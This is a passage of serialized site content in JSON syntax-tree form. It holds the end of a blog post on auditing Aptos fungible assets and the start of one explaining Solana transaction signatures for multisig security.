burn_internal",{"type":23,"tag":230,"props":68735,"children":68736},{"style":274},[68737],{"type":29,"value":302},{"type":23,"tag":230,"props":68739,"children":68740},{"style":262},[68741],{"type":29,"value":62708},{"type":23,"tag":230,"props":68743,"children":68744},{"style":274},[68745],{"type":29,"value":753},{"type":23,"tag":230,"props":68747,"children":68748},{"class":232,"line":371},[68749,68753,68757,68762,68766,68770,68774,68778],{"type":23,"tag":230,"props":68750,"children":68751},{"style":274},[68752],{"type":29,"value":67736},{"type":23,"tag":230,"props":68754,"children":68755},{"style":268},[68756],{"type":29,"value":5818},{"type":23,"tag":230,"props":68758,"children":68759},{"style":294},[68760],{"type":29,"value":68761},"mint_internal",{"type":23,"tag":230,"props":68763,"children":68764},{"style":274},[68765],{"type":29,"value":302},{"type":23,"tag":230,"props":68767,"children":68768},{"style":262},[68769],{"type":29,"value":64087},{"type":23,"tag":230,"props":68771,"children":68772},{"style":274},[68773],{"type":29,"value":684},{"type":23,"tag":230,"props":68775,"children":68776},{"style":262},[68777],{"type":29,"value":22621},{"type":23,"tag":230,"props":68779,"children":68780},{"style":274},[68781],{"type":29,"value":4516},{"type":23,"tag":230,"props":68783,"children":68784},{"class":232,"line":391},[68785],{"type":23,"tag":230,"props":68786,"children":68787},{"style":274},[68788],{"type":29,"value":975},{"type":23,"tag":32,"props":68790,"children":68791},{},[68792,68794,68801],{"type":29,"value":68793},"When creating a fungible asset, several pieces of information are required, such as the asset’s name, symbol, or maximum supply. During our audit of the fungible asset standard, we ",{"type":23,"tag":181,"props":68795,"children":68798},{"href":68796,"rel":68797},"https://github.com/aptos-labs/aptos-core/commit/e5f4b62b237dad4d15069d3bb0b551b2df04bf08",[185],[68799],{"type":29,"value":68800},"noticed an overlooked detail",{"type":29,"value":68802}," in the linking process.",{"type":23,"tag":220,"props":68804,"children":68806},{"className":5320,"code":68805,"language":5319,"meta":7,"style":7},"[...]\nprimary_fungible_store::create_primary_store_enabled_fungible_asset(\n    &metadata_object_cref,\n    option::map(coin_supply\u003CCoinType>(), |_| MAX_U128),\n    name\u003CCoinType>(),\n    symbol\u003CCoinType>(),\n    decimals\u003CCoinType>(),\n    string::utf8(b\"\"),\n    string::utf8(b\"\"),\n);\n[...]\n",[68807],{"type":23,"tag":71,"props":68808,"children":68809},{"__ignoreMap":7},[68810,68825,68845,68862,68918,68939,68959,68979,69009,69036,69043],{"type":23,"tag":230,"props":68811,"children":68812},{"class":232,"line":233},[68813,68817,68821],{"type":23,"tag":230,"props":68814,"children":68815},{"style":274},[68816],{"type":29,"value":6069},{"type":23,"tag":230,"props":68818,"children":68819},{"style":268},[68820],{"type":29,"value":11922},{"type":23,"tag":230,"props":68822,"children":68823},{"style":274},[68824],{"type":29,"value":14103},{"type":23,"tag":230,"props":68826,"children":68827},{"class":232,"line":243},[68828,68832,68836,68841],{"type":23,"tag":230,"props":68829,"children":68830},{"style":274},[68831],{"type":29,"value":64384},{"type":23,"tag":230,"props":68833,"children":68834},{"style":268},[68835],{"type":29,"value":5818},{"type":23,"tag":230,"props":68837,"children":68838},{"style":294},[68839],{"type":29,"value":68840},"create_primary_store_enabled_fungible_asset",{"type":23,"tag":230,"props":68842,"children":68843},{"style":274},[68844],{"type":29,"value":619},{"type":23,"tag":230,"props":68846,"children":68847},{"class":232,"line":252},[68848,68853,68858],{"type":23,"tag":230,"props":68849,"children":68850},{"style":268},[68851],{"type":29,"value":68852},"    &",{"type":23,"tag":230,"props":68854,"children":68855},{"style":262},[68856],{"type":29,"value":68857},"metadata_object_cref",{"type":23,"tag":230,"props":68859,"children":68860},{"style":274},[68861],{"type":29,"value":388},{"type":23,"tag":230,"props":68863,"children":68864},{"class":232,"line":280},[68865,68870,68874,68879,68883,68888,68892,68896,68901,68905,68909,68913],{"type":23,"tag":230,"props":68866,"children":68867},{"style":274},[68868],{"type":29,"value":68869},"    option",{"type":23,"tag":230,"props":68871,"children":68872},{"style":268},[68873],{"type":29,"value":5818},{"type":23,"tag":230,"props":68875,"children":68876},{"style":294},[68877],{"type":29,"value":68878},"map",{"type":23,"tag":230,"props":68880,"children":68881},{"style":274},[68882],{"type":29,"value":302},{"type":23,"tag":230,"props":68884,"children":68885},{"style":262},[68886],{"type":29,"value":68887},"coin_supply",{"type":23,"tag":230,"props":68889,"children":68890},{"style":274},[68891],{"type":29,"value":8143},{"type":23,"tag":230,"props":68893,"children":68894},{"style":676},[68895],{"type":29,"value":8920},{"type":23,"tag":230,"props":68897,"children":68898},{"style":274},[68899],{"type":29,"value":68900},">(), ",{"type":23,"tag":230,"props":68902,"children":68903},{"style":268},[68904],{"type":29,"value":12746},{"type":23,"tag":230,"props":68906,"children":68907},{"style":262},[68908],{"type":29,"value":5422},{"type":23,"tag":230,"props":68910,"children":68911},{"style":268},[68912],{"type":29,"value":12746},{"type":23,"tag":230,"props":68914,"children":68915},{"style":274},[68916],{"type":29,"value":68917}," MAX_U128),\n",{"type":23,"tag":230,"props":68919,"children":68920},{"class":232,"line":334},[68921,68926,68930,68934],{"type":23,"tag":230,"props":68922,"children":68923},{"style":262},[68924],{"type":29,"value":68925},"    name",{"type":23,"tag":230,"props":68927,"children":68928},{"style":274},[68929],{"type":29,"value":8143},{"type":23,"tag":230,"props":68931,"children":68932},{"style":676},[68933],{"type":29,"value":8920},{"type":23,"tag":230,"props":68935,"children":68936},{"style":274},[68937],{"type":29,"value":68938},">(),\n",{"type":23,"tag":230,"props":68940,"children":68941},{"class":232,"line":371},[68942,68947,68951,68955],{"type":23,"tag":230,"props":68943,"children":68944},{"style":262},[68945],{"type":29,"value":68946},"    symbol",{"type":23,"tag":230,"props":68948,"children":68949},{"style":274},[68950],{"type":29,"value":8143},{"type":23,"tag":230,"props":68952,"children":68953},{"style":676},[68954],{"type":29,"value":8920},{"type":23,"tag":230,"props":68956,"children":68957},{"style":274},[68958],{"type":29,"value":68938},{"type":23,"tag":230,"props":68960,"children":68961},{"class":232,"line":391},[68962,68967,68971,68975],{"type":23,"tag":230,"props":68963,"children":68964},{"style":262},[68965],{"type":29,"value":68966},"    decimals",{"type":23,"tag":230,"props":68968,"children":68969},{"style":274},[68970],{"type":29,"value":8143},{"type":23,"tag":230,"props":68972,"children":68973},{"style":676},[68974],{"type":29,"value":8920},{"type":23,"tag":230,"props":68976,"children":68977},{"style":274},[68978],{"type":29,"value":68938},{"type":23,"tag":230,"props":68980,"children":68981},{"class":232,"line":400},[68982,68987,68991,68996,69000,69005],{"type":23,"tag":230,"props":68983,"children":68984},{"style":274},[68985],{"type":29,"value":68986},"    string",{"type":23,"tag":230,"props":68988,"children":68989},{"style":268},[68990],{"type":29,"value":5818},{"type":23,"tag":230,"props":68992,"children":68993},{"style":294},[68994],{"type":29,"value":68995},"utf8",{"type":23,"tag":230,"props":68997,"children":68998},{"style":274},[68999],{"type":29,"value":302},{"type":23,"tag":230,"props":69001,"children":69002},{"style":380},[69003],{"type":29,"value":69004},"b\"\"",{"type":23,"tag":230,"props":69006,"children":69007},{"style":274},[69008],{"type":29,"value":331},{"type":23,"tag":230,"props":69010,"children":69011},{"class":232,"line":444},[69012,69016,69020,69024,69028,69032],{"type":23,"tag":230,"props":69013,"children":69014},{"style":274},[69015],{"type":29,"value":68986},{"type":23,"tag":230,"props":69017,"children":69018},{"style":268},[69019],{"type":29,"value":5818},{"type":23,"tag":230,"props":69021,"children":69022},{"style":294},[69023],{"type":29,"value":68995},{"type":23,"tag":230,"props":69025,"children":69026},{"style":274},[69027],{"type":29,"value":302},{"type":23,"tag":230,"props":69029,"children":69030},{"style":380},[69031],{"type":29,"value":69004},{"type":23,"tag":230,"props":69033,"children":69034},{"style":274},[69035],{"type":29,"value":331},{"type":23,"tag":230,"props":69037,"children":69038},{"class":232,"line":453},[69039],{"type":23,"tag":230,"props":69040,"children":69041},{"style":274},[69042],{"type":29,"value":753},{"type":23,"tag":230,"props":69044,"children":69045},{"class":232,"line":462},[69046,69050,69054],{"type":23,"tag":230,"props":69047,"children":69048},{"style":274},[69049],{"type":29,"value":6069},{"type":23,"tag":230,"props":69051,"children":69052},{"style":268},[69053],{"type":29,"value":11922},{"type":23,"tag":230,"props":69055,"children":69056},{"style":274},[69057],{"type":29,"value":14103},{"type":23,"tag":32,"props":69059,"children":69060},{},[69061,69063,69068],{"type":29,"value":69062},"When the linked fungible asset was created, the current ",{"type":23,"tag":71,"props":69064,"children":69066},{"className":69065},[],[69067],{"type":29,"value":62741},{"type":29,"value":69069}," supply was incorrectly passed as the maximum fungible asset supply, preventing the minting of additional fungible assets beyond the existing coin circulation.",{"type":23,"tag":32,"props":69071,"children":69072},{},[69073,69075,69080,69082,69088,69090,69095],{"type":29,"value":69074},"Users can manually migrate their ",{"type":23,"tag":71,"props":69076,"children":69078},{"className":69077},[],[69079],{"type":29,"value":62903},{"type":29,"value":69081}," to a primary fungible store. This creates a store for the paired fungible asset (if one doesn’t exist) and removes the ",{"type":23,"tag":71,"props":69083,"children":69085},{"className":69084},[],[69086],{"type":29,"value":69087},"\u003CCoinStore\u003CCoinType>>",{"type":29,"value":69089}," from the caller. All coins in the ",{"type":23,"tag":71,"props":69091,"children":69093},{"className":69092},[],[69094],{"type":29,"value":62903},{"type":29,"value":69096}," are exchanged and transferred to the new store during the migration.",{"type":23,"tag":220,"props":69098,"children":69100},{"className":5320,"code":69099,"language":5319,"meta":7,"style":7},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\npublic entry fun migrate_to_fungible_store\u003CCoinType>(\n    account: &signer\n) acquires CoinStore, CoinConversionMap, CoinInfo {\n    maybe_convert_to_fungible_store\u003CCoinType>(signer::address_of(account));\n}\n",[69101],{"type":23,"tag":71,"props":69102,"children":69103},{"__ignoreMap":7},[69104,69112,69144,69164,69200,69241],{"type":23,"tag":230,"props":69105,"children":69106},{"class":232,"line":233},[69107],{"type":23,"tag":230,"props":69108,"children":69109},{"style":237},[69110],{"type":29,"value":69111},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\n",{"type":23,"tag":230,"props":69113,"children":69114},{"class":232,"line":243},[69115,69119,69123,69127,69132,69136,69140],{"type":23,"tag":230,"props":69116,"children":69117},{"style":262},[69118],{"type":29,"value":63450},{"type":23,"tag":230,"props":69120,"children":69121},{"style":262},[69122],{"type":29,"value":64417},{"type":23,"tag":230,"props":69124,"children":69125},{"style":262},[69126],{"type":29,"value":8544},{"type":23,"tag":230,"props":69128,"children":69129},{"style":262},[69130],{"type":29,"value":69131}," migrate_to_fungible_store",{"type":23,"tag":230,"props":69133,"children":69134},{"style":274},[69135],{"type":29,"value":8143},{"type":23,"tag":230,"props":69137,"children":69138},{"style":676},[69139],{"type":29,"value":8920},{"type":23,"tag":230,"props":69141,"children":69142},{"style":274},[69143],{"type":29,"value":8925},{"type":23,"tag":230,"props":69145,"children":69146},{"class":232,"line":252},[69147,69151,69155,69159],{"type":23,"tag":230,"props":69148,"children":69149},{"style":262},[69150],{"type":29,"value":27478},{"type":23,"tag":230,"props":69152,"children":69153},{"style":268},[69154],{"type":29,"value":218},{"type":23,"tag":230,"props":69156,"children":69157},{"style":268},[69158],{"type":29,"value":9477},{"type":23,"tag":230,"props":69160,"children":69161},{"style":262},[69162],{"type":29,"value":69163},"signer\n",{"type":23,"tag":230,"props":69165,"children":69166},{"class":232,"line":280},[69167,69171,69175,69179,69183,69188,69192,69196],{"type":23,"tag":230,"props":69168,"children":69169},{"style":274},[69170],{"type":29,"value":703},{"type":23,"tag":230,"props":69172,"children":69173},{"style":262},[69174],{"type":29,"value":8681},{"type":23,"tag":230,"props":69176,"children":69177},{"style":676},[69178],{"type":29,"value":62924},{"type":23,"tag":230,"props":69180,"children":69181},{"style":274},[69182],{"type":29,"value":684},{"type":23,"tag":230,"props":69184,"children":69185},{"style":676},[69186],{"type":29,"value":69187},"CoinConversionMap",{"type":23,"tag":230,"props":69189,"children":69190},{"style":274},[69191],{"type":29,"value":684},{"type":23,"tag":230,"props":69193,"children":69194},{"style":676},[69195],{"type":29,"value":9050},{"type":23,"tag":230,"props":69197,"children":69198},{"style":274},[69199],{"type":29,"value":277},{"type":23,"tag":230,"props":69201,"children":69202},{"class":232,"line":334},[69203,69208,69212,69216,69221,69225,69229,69233,69237],{"type":23,"tag":230,"props":69204,"children":69205},{"style":262},[69206],{"type":29,"value":69207},"    maybe_convert_to_fungible_store",{"type":23,"tag":230,"props":69209,"children":69210},{"style":274},[69211],{"type":29,"value":8143},{"type":23,"tag":230,"props":69213,"children":69214},{"style":676},[69215],{"type":29,"value":8920},{"type":23,"tag":230,"props":69217,"children":69218},{"style":274},[69219],{"type":29,"value":69220},">(signer",{"type":23,"tag":230,"props":69222,"children":69223},{"style":268},[69224],{"type":29,"value":5818},{"type":23,"tag":230,"props":69226,"children":69227},{"style":294},[69228],{"type":29,"value":9545},{"type":23,"tag":230,"props":69230,"children":69231},{"style":274},[69232],{"type":29,"value":302},{"type":23,"tag":230,"props":69234,"children":69235},{"style":262},[69236],{"type":29,"value":15282},{"type":23,"tag":230,"props":69238,"children":69239},{"style":274},[69240],{"type":29,"value":9559},{"type":23,"tag":230,"props":69242,"children":69243},{"class":232,"line":371},[69244],{"type":23,"tag":230,"props":69245,"children":69246},{"style":274},[69247],{"type":29,"value":975},{"type":23,"tag":32,"props":69249,"children":69250},{},[69251,69253,69258,69260,69265],{"type":29,"value":69252},"A curious reader might wonder about the fate of the ",{"type":23,"tag":71,"props":69254,"children":69256},{"className":69255},[],[69257],{"type":29,"value":62903},{"type":29,"value":69259}," \"frozen\" status during migration. Unsurprisingly tough, the \"frozen\" status of the primary fungible store is matched to that of the ",{"type":23,"tag":71,"props":69261,"children":69263},{"className":69262},[],[69264],{"type":29,"value":62903},{"type":29,"value":69266}," to ensure consistency.",{"type":23,"tag":67961,"props":69268,"children":69269},{},[69270,69289],{"type":23,"tag":32,"props":69271,"children":69272},{},[69273,69275,69280,69282,69287],{"type":29,"value":69274},"Could an attacker convert their ",{"type":23,"tag":71,"props":69276,"children":69278},{"className":69277},[],[69279],{"type":29,"value":62903},{"type":29,"value":69281}," to a primary fungible store and then register another ",{"type":23,"tag":71,"props":69283,"children":69285},{"className":69284},[],[69286],{"type":29,"value":62903},{"type":29,"value":69288}," only to convert it again to manipulate the \"frozen\" status of the linked primary fungible store?",{"type":23,"tag":67992,"props":69290,"children":69291},{"v-slot:answer-0":7},[69292],{"type":23,"tag":32,"props":69293,"children":69294},{},[69295],{"type":29,"value":69296},"The coin::register function first checks is_account_registered, which exits early if true. is_account_registered determines if the account has a primary fungible store for the linked fungible asset when the CoinStore doesn’t exist. If the fungible store has been converted, a primary fungible store and linked fungible asset will already exist, preventing re-registration.",{"type":23,"tag":24,"props":69298,"children":69299},{"id":5163},[69300],{"type":29,"value":5166},{"type":23,"tag":32,"props":69302,"children":69303},{},[69304,69306,69311],{"type":29,"value":69305},"Aptos's implementation of fungible assets does indeed resolve the original problems with ",{"type":23,"tag":71,"props":69307,"children":69309},{"className":69308},[],[69310],{"type":29,"value":62741},{"type":29,"value":312},{"type":23,"tag":32,"props":69313,"children":69314},{},[69315],{"type":29,"value":69316},"However, this solution comes with its own challenges, in part because of the numerous layers that interact with each other. Before using the fungible asset standard, it's important to understand these different APIs and potential pitfalls.",{"type":23,"tag":32,"props":69318,"children":69319},{},[69320,69322],{"type":29,"value":69321},"As a final exercise to the reader, how many different ways are there to withdraw a fungible asset?",{"type":23,"tag":17798,"props":69323,"children":69324},{},[69325],{"type":23,"tag":181,"props":69326,"children":69328},{"href":31931,"ariaDescribedBy":69327,"dataFootnoteRef":7,"id":31933},[17805],[69329],{"type":29,"value":6348},{"type":23,"tag":20741,"props":69331,"children":69333},{"className":69332,"dataFootnotes":7},[20744],[69334,69339],{"type":23,"tag":24,"props":69335,"children":69337},{"className":69336,"id":17805},[20749],[69338],{"type":29,"value":20752},{"type":23,"tag":144,"props":69340,"children":69341},{},[69342],{"type":23,"tag":102,"props":69343,"children":69344},{"id":32673},[69345,69347,69389],{"type":29,"value":69346},"There are at least four functions that can withdraw a fungible asset:",{"type":23,"tag":98,"props":69348,"children":69349},{},[69350,69360,69369,69379],{"type":23,"tag":102,"props":69351,"children":69352},{},[69353],{"type":23,"tag":181,"props":69354,"children":69358},{"href":69355,"rel":69356,":style":69357},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/fungible_asset.move#L782",[185],"color: #007bff;",[69359],{"type":29,"value":66042},{"type":23,"tag":102,"props":69361,"children":69362},{},[69363],{"type":23,"tag":181,"props":69364,"children":69367},{"href":69365,"rel":69366,":style":69357},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/dispatchable_fungible_asset.move#L74",[185],[69368],{"type":29,"value":67982},{"type":23,"tag":102,"props":69370,"children":69371},{},[69372],{"type":23,"tag":181,"props":69373,"children":69376},{"href":69374,"rel":69375,":style":69357},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move#L157",[185],[69377],{"type":29,"value":69378},"primary_fungible_store::withdraw",{"type":23,"tag":102,"props":69380,"children":69381},{},[69382],{"type":23,"tag":181,"props":69383,"children":69386},{"href":69384,"rel":69385,":style":69357},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/coin.move#L1091-L1098",[185],[69387],{"type":29,"value":69388},"coin::withdraw",{"type":23,"tag":181,"props":69390,"children":69392},{"href":32701,"ariaLabel":20855,"className":69391,"dataFootnoteBackref":7},[20857],[69393],{"type":29,"value":20860},{"type":23,"tag":5178,"props":69395,"children":69396},{},[69397],{"type":29,"value":5182},{"title":7,"searchDepth":243,"depth":243,"links":69399},[69400,69401,69402,69405,69410,69411,69412,69413],{"id":62727,"depth":243,"text":62730},{"id":63272,"depth":243,"text":63275},{"id":63832,"depth":243,"text":63835,"children":69403},[69404],{"id":64343,"depth":252,"text":64346},{"id":64600,"depth":243,"text":64603,"children":69406},[69407,69408,69409],{"id":64643,"depth":252,"text":64646},{"id":65348,"depth":252,"text":65351},{"id":67006,"depth":252,"text":67009},{"id":67537,"depth":243,"text":67540},{"id":68518,"depth":243,"text":68521},{"id":5163,"depth":243,"text":5166},{"id":17805,"depth":243,"text":20752},"content:blog:2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets",{"_path":69418,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":69419,"description":69420,"date":69421,"author":8056,"image":69422,"isFeatured":18,"onBlogPage":18,"tags":69424,"body":69425,"_type":5202,"_id":71253,"_source":5204,"_file":71254,"_stem":71255,"_extension":5207},"/blog/2025-02-22-multisig-security","Solana Multisig Security","What can teams do if their multisig signers are compromised? We explore Solana's transaction signing model and present a procedure for safe signing in the presence of malicious signers on Solana.","2025-02-22",{"src":69423,"width":7724,"height":7725},"/posts/multisig-security/title.png",[5219],{"type":20,"children":69426,"toc":71244},[69427,69440,69446,69451,69457,69470,69478,69491,69551,69573,69700,69705,69718,69730,69736,69750,69763,69777,70259,70264,70272,70286,70300,70439,70451,70457,70462,70480,70485,70490,70511,70795,70810,70998,71011,71140,71145,71150,71155,71183,71189,71194,71208,71240],{"type":23,"tag":32,"props":69428,"children":69429},{},[69430,69431,69438],{"type":29,"value":980},{"type":23,"tag":181,"props":69432,"children":69435},{"href":69433,"rel":69434},"https://www.securityalliance.org/news/2025-02-dprk-advisory",[185],[69436],{"type":29,"value":69437},"Bybit hack",{"type":29,"value":69439}," raises an interesting question: what can teams do if their signers are compromised?",{"type":23,"tag":24,"props":69441,"children":69443},{"id":69442},"solana-signatures",[69444],{"type":29,"value":69445},"Solana Signatures",{"type":23,"tag":32,"props":69447,"children":69448},{},[69449],{"type":29,"value":69450},"We first need to understand how Solana signatures work. There are two ways to sign a Solana transaction.",{"type":23,"tag":59,"props":69452,"children":69454},{"id":69453},"recent-blockhash",[69455],{"type":29,"value":69456},"Recent Blockhash",{"type":23,"tag":32,"props":69458,"children":69459},{},[69460,69462,69469],{"type":29,"value":69461},"The most straightforward is with a \"recent blockhash\". From ",{"type":23,"tag":181,"props":69463,"children":69466},{"href":69464,"rel":69465},"https://solana.com/developers/guides/advanced/confirmation",[185],[69467],{"type":29,"value":69468},"the docs",{"type":29,"value":218},{"type":23,"tag":5272,"props":69471,"children":69472},{},[69473],{"type":23,"tag":32,"props":69474,"children":69475},{},[69476],{"type":29,"value":69477},"During transaction processing, Solana Validators will check if each transaction's recent blockhash is recorded within the most recent 151 stored hashes (aka \"max processing age\"). If the transaction's recent blockhash is older than this max processing age, the transaction is not processed.",{"type":23,"tag":32,"props":69479,"children":69480},{},[69481,69483,69490],{"type":29,"value":69482},"The actual constant ",{"type":23,"tag":181,"props":69484,"children":69487},{"href":69485,"rel":69486},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/sdk/clock/src/lib.rs#L129-L130",[185],[69488],{"type":29,"value":69489},"is defined here",{"type":29,"value":312},{"type":23,"tag":220,"props":69492,"children":69494},{"className":5320,"code":69493,"language":5319,"meta":7,"style":7},"// The maximum age of a blockhash that will be accepted by the leader\npub const MAX_PROCESSING_AGE: usize = MAX_RECENT_BLOCKHASHES / 2;\n",[69495],{"type":23,"tag":71,"props":69496,"children":69497},{"__ignoreMap":7},[69498,69506],{"type":23,"tag":230,"props":69499,"children":69500},{"class":232,"line":233},[69501],{"type":23,"tag":230,"props":69502,"children":69503},{"style":237},[69504],{"type":29,"value":69505},"// The maximum age of a blockhash that will be accepted by the leader\n",{"type":23,"tag":230,"props":69507,"children":69508},{"class":232,"line":243},[69509,69513,69517,69522,69526,69530,69534,69539,69543,69547],{"type":23,"tag":230,"props":69510,"children":69511},{"style":256},[69512],{"type":29,"value":16017},{"type":23,"tag":230,"props":69514,"children":69515},{"style":256},[69516],{"type":29,"value":3814},{"type":23,"tag":230,"props":69518,"children":69519},{"style":274},[69520],{"type":29,"value":69521}," MAX_PROCESSING_AGE",{"type":23,"tag":230,"props":69523,"children":69524},{"style":268},[69525],{"type":29,"value":218},{"type":23,"tag":230,"props":69527,"children":69528},{"style":676},[69529],{"type":29,"value":16058},{"type":23,"tag":230,"props":69531,"children":69532},{"style":268},[69533],{"type":29,"value":271},{"type":23,"tag":230,"props":69535,"children":69536},{"style":274},[69537],{"type":29,"value":69538}," MAX_RECENT_BLOCKHASHES ",{"type":23,"tag":230,"props":69540,"children":69541},{"style":268},[69542],{"type":29,"value":6919},{"type":23,"tag":230,"props":69544,"children":69545},{"style":5149},[69546],{"type":29,"value":10269},{"type":23,"tag":230,"props":69548,"children":69549},{"style":274},[69550],{"type":29,"value":511},{"type":23,"tag":32,"props":69552,"children":69553},{},[69554,69556,69563,69565,69571],{"type":29,"value":69555},"For those curious, the logic ",{"type":23,"tag":181,"props":69557,"children":69560},{"href":69558,"rel":69559},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L61",[185],[69561],{"type":29,"value":69562},"starts here",{"type":29,"value":69564}," and is quite straightforward to follow, ending in a ",{"type":23,"tag":71,"props":69566,"children":69568},{"className":69567},[],[69569],{"type":29,"value":69570},"is_hash_index_valid",{"type":29,"value":69572}," check.",{"type":23,"tag":220,"props":69574,"children":69576},{"className":5320,"code":69575,"language":5319,"meta":7,"style":7},"fn is_hash_index_valid(last_hash_index: u64, max_age: usize, hash_index: u64) -> bool {\n    last_hash_index - hash_index \u003C= max_age as u64\n}\n",[69577],{"type":23,"tag":71,"props":69578,"children":69579},{"__ignoreMap":7},[69580,69659,69693],{"type":23,"tag":230,"props":69581,"children":69582},{"class":232,"line":233},[69583,69587,69592,69596,69601,69605,69609,69613,69618,69622,69626,69630,69635,69639,69643,69647,69651,69655],{"type":23,"tag":230,"props":69584,"children":69585},{"style":256},[69586],{"type":29,"value":22581},{"type":23,"tag":230,"props":69588,"children":69589},{"style":294},[69590],{"type":29,"value":69591}," is_hash_index_valid",{"type":23,"tag":230,"props":69593,"children":69594},{"style":274},[69595],{"type":29,"value":302},{"type":23,"tag":230,"props":69597,"children":69598},{"style":262},[69599],{"type":29,"value":69600},"last_hash_index",{"type":23,"tag":230,"props":69602,"children":69603},{"style":268},[69604],{"type":29,"value":218},{"type":23,"tag":230,"props":69606,"children":69607},{"style":676},[69608],{"type":29,"value":8197},{"type":23,"tag":230,"props":69610,"children":69611},{"style":274},[69612],{"type":29,"value":684},{"type":23,"tag":230,"props":69614,"children":69615},{"style":262},[69616],{"type":29,"value":69617},"max_age",{"type":23,"tag":230,"props":69619,"children":69620},{"style":268},[69621],{"type":29,"value":218},{"type":23,"tag":230,"props":69623,"children":69624},{"style":676},[69625],{"type":29,"value":16058},{"type":23,"tag":230,"props":69627,"children":69628},{"style":274},[69629],{"type":29,"value":684},{"type":23,"tag":230,"props":69631,"children":69632},{"style":262},[69633],{"type":29,"value":69634},"hash_index",{"type":23,"tag":230,"props":69636,"children":69637},{"style":268},[69638],{"type":29,"value":218},{"type":23,"tag":230,"props":69640,"children":69641},{"style":676},[69642],{"type":29,"value":8197},{"type":23,"tag":230,"props":69644,"children":69645},{"style":274},[69646],{"type":29,"value":703},{"type":23,"tag":230,"props":69648,"children":69649},{"style":268},[69650],{"type":29,"value":16084},{"type":23,"tag":230,"props":69652,"children":69653},{"style":676},[69654],{"type":29,"value":14381},{"type":23,"tag":230,"props":69656,"children":69657},{"style":274},[69658],{"type":29,"value":277},{"type":23,"tag":230,"props":69660,"children":69661},{"class":232,"line":243},[69662,69667,69671,69676,69680,69685,69689],{"type":23,"tag":230,"props":69663,"children":69664},{"style":262},[69665],{"type":29,"value":69666},"    last_hash_index",{"type":23,"tag":230,"props":69668,"children":69669},{"style":268},[69670],{"type":29,"value":53028},{"type":23,"tag":230,"props":69672,"children":69673},{"style":262},[69674],{"type":29,"value":69675}," hash_index",{"type":23,"tag":230,"props":69677,"children":69678},{"style":268},[69679],{"type":29,"value":10532},{"type":23,"tag":230,"props":69681,"children":69682},{"style":262},[69683],{"type":29,"value":69684}," max_age",{"type":23,"tag":230,"props":69686,"children":69687},{"style":256},[69688],{"type":29,"value":3589},{"type":23,"tag":230,"props":69690,"children":69691},{"style":676},[69692],{"type":29,"value":15525},{"type":23,"tag":230,"props":69694,"children":69695},{"class":232,"line":252},[69696],{"type":23,"tag":230,"props":69697,"children":69698},{"style":274},[69699],{"type":29,"value":975},{"type":23,"tag":32,"props":69701,"children":69702},{},[69703],{"type":29,"value":69704},"One important consequence is that any signed transaction has a natural expiration of around a few minutes.",{"type":23,"tag":5272,"props":69706,"children":69707},{},[69708],{"type":23,"tag":32,"props":69709,"children":69710},{},[69711,69713],{"type":29,"value":69712},"Since slots (aka the time period a validator can produce a block) are configured to last about 400ms, but may fluctuate between 400ms and 600ms, ",{"type":23,"tag":2302,"props":69714,"children":69715},{},[69716],{"type":29,"value":69717},"a given blockhash can only be used by transactions for about 60 to 90 seconds before it will be considered expired by the runtime.",{"type":23,"tag":32,"props":69719,"children":69720},{},[69721,69723,69728],{"type":29,"value":69722},"This means an attacker ",{"type":23,"tag":2258,"props":69724,"children":69725},{},[69726],{"type":29,"value":69727},"must use",{"type":29,"value":69729}," a malicious signed transaction within a short timeframe.",{"type":23,"tag":59,"props":69731,"children":69733},{"id":69732},"durable-nonce",[69734],{"type":29,"value":69735},"Durable Nonce",{"type":23,"tag":32,"props":69737,"children":69738},{},[69739,69741,69748],{"type":29,"value":69740},"The second type of signature ",{"type":23,"tag":181,"props":69742,"children":69745},{"href":69743,"rel":69744},"https://solana.com/developers/guides/advanced/introduction-to-durable-nonces",[185],[69746],{"type":29,"value":69747},"is a durable nonce",{"type":29,"value":69749},". These were created to solve the very feature (or problem) mentioned above: short expiration time.",{"type":23,"tag":5272,"props":69751,"children":69752},{},[69753],{"type":23,"tag":32,"props":69754,"children":69755},{},[69756,69758],{"type":29,"value":69757},"durable nonces provide an opportunity to create and sign a transaction that can be submitted at any point in the future, and much more. ",{"type":23,"tag":2302,"props":69759,"children":69760},{},[69761],{"type":29,"value":69762},"This opens up a wide range of use cases that are otherwise not possible or too difficult to implement",{"type":23,"tag":32,"props":69764,"children":69765},{},[69766,69768,69775],{"type":29,"value":69767},"If we examine the code ",{"type":23,"tag":181,"props":69769,"children":69772},{"href":69770,"rel":69771},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L104",[185],[69773],{"type":29,"value":69774},"for recent blockhash validation",{"type":29,"value":69776},", we can also see the handling for durable nonces.",{"type":23,"tag":220,"props":69778,"children":69780},{"className":5320,"code":69779,"language":5319,"meta":7,"style":7},"    let recent_blockhash = tx.message().recent_blockhash();\n    if let Some(hash_info) = hash_queue.get_hash_info_if_valid(recent_blockhash, max_age) {\n        Ok(CheckedTransactionDetails {\n            nonce: None,\n            lamports_per_signature: hash_info.lamports_per_signature(),\n        })\n    } else if let Some((nonce, previous_lamports_per_signature)) = self\n        .check_load_and_advance_message_nonce_account(\n            tx.message(),\n            next_durable_nonce,\n            next_lamports_per_signature,\n        )\n    {\n        Ok(CheckedTransactionDetails {\n            nonce: Some(nonce),\n            lamports_per_signature: previous_lamports_per_signature,\n        })\n    } else {\n        error_counters.blockhash_not_found += 1;\n        Err(TransactionError::BlockhashNotFound)\n    